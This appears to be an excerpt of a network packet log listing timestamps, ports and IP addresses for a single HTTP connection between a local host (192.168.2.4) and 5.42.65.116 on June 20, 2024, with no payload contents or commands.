Jun 20, 2024 06:49:10.910708904 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910731077 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910751104 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910783052 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910815954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910839081 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910849094 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910873890 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910885096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910907030 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910932064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910936117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910984993 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910990000 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911022902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911056042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911078930 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911088943 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911115885 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911125898 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911147118 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911175013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911322117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911355019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911387920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911417007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911422014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911453009 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911456108 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911489010 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911506891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911519051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911535025 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911540031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911557913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911607981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911617041 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911643028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911659956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911678076 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911700964 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911711931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911722898 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911762953 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911773920 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911796093 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911845922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911845922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911881924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911916018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911935091 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911952019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.911962986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.911984921 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912003040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912019968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912040949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912051916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912070036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912086010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912100077 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912118912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912132978 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912152052 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912166119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912185907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912216902 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912230015 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912235022 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912266016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912278891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912300110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912313938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912333012 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912358046 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912367105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912390947 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912400961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912410975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912434101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912467003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912492990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912518024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912518024 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912550926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912584066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912595987 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912616968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912628889 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912652969 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912686110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912697077 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912719965 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912729979 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912754059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912763119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912787914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912801981 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912822962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912844896 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912868977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912878990 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912911892 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912945986 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912960052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.912978888 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.912993908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.913012981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.913027048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.913048029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.913098097 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.915610075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.915643930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.915673971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.915697098 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.915704012 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.915747881 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.915801048 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.915806055 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.915833950 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.915867090 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.915899038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.915915966 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.915919065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.915951014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.915981054 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.915997982 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916003942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916042089 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916059971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916074038 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916084051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916106939 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916134119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916162968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916165113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916196108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916208982 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916248083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916248083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916305065 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916307926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916341066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916357040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916373968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916405916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916418076 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916448116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916451931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916480064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916503906 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916533947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916544914 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916565895 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916585922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916599989 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916614056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916631937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916666031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916687965 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916698933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916722059 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916733980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.916754007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.916786909 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.001796961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.001883030 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.001918077 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.001960039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.001971960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002007961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002023935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002053976 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002059937 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002108097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002141953 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002157927 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002176046 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002192974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002208948 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002228975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002243042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002275944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002294064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002311945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002324104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002345085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002379894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002403021 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002413988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002438068 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002470970 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002687931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002742052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002748013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002778053 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002827883 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002830982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002882957 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002918959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002952099 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.002970934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.002985954 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003007889 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003022909 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003042936 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003092051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003098011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003130913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003165007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003185987 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003200054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003212929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003232956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003283978 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003287077 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003341913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003372908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003393888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003424883 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003428936 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003462076 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003474951 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003511906 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003514051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003547907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003581047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003598928 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003621101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003633022 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003655910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003674030 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003690004 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003704071 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003724098 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003737926 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003760099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003767014 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003793955 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003806114 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003827095 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003840923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003863096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.003875017 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.003909111 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004221916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004255056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004270077 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004288912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004348040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004373074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004542112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004596949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004600048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004631042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004663944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004678965 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004695892 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004707098 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004729033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004741907 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004760981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004791021 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004796028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004822969 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004827976 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004842043 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004862070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004895926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004909039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004930019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.004942894 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.004980087 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005161047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005228996 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005260944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005278111 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005315065 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005343914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005376101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005393982 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005409956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005425930 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005445004 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005470991 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005496025 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005502939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005527973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005546093 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005561113 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005589962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005593061 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005620003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005645990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005649090 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005682945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005716085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005748987 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005769014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005786896 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005801916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005820036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005841017 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005855083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005872965 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005892992 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005907059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005925894 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005940914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005960941 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.005974054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.005990028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.006010056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.006031036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.006048918 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.006062984 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.006078005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.006095886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.006350994 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.006405115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.006407976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.006449938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.006503105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.006505013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.006536961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.006572008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.006601095 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.006607056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.006619930 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.006656885 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.007587910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.007638931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.007642031 CEST	80	49743	5.42.65.116	192.168.2.4
